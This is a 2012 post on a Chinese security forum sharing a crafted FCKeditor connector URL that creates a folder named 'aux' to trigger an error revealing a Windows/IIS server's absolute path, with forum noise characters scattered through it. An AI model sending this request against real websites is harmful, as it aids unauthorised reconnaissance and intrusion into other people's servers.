找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

最新FCKeditor爆绝对路径漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:39:04 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
代码:FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux" Q1 O  g- z4 e  Z+ E
. X& q3 `1 X3 J- o+ E+ Y2 C7 x) ?
4 j3 R* Z( f1 ?; j8 b# }* ~% q
版本未测试。。。
# p. s) h) T6 j# y 0 C) a+ ]: m; e6 r
原理:新建个aux文件夹,aux在windows系统不支持,所以会报错,爆出绝对路径,这个比较鸡肋。求大神别喷。。。, i: i  L4 q$ ]
" Y2 x, M$ q6 F
* c6 X- P7 t/ B2 |& [/ l  z- N& `
听说IIS都可以。。
$ D+ _" g' C! e, |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表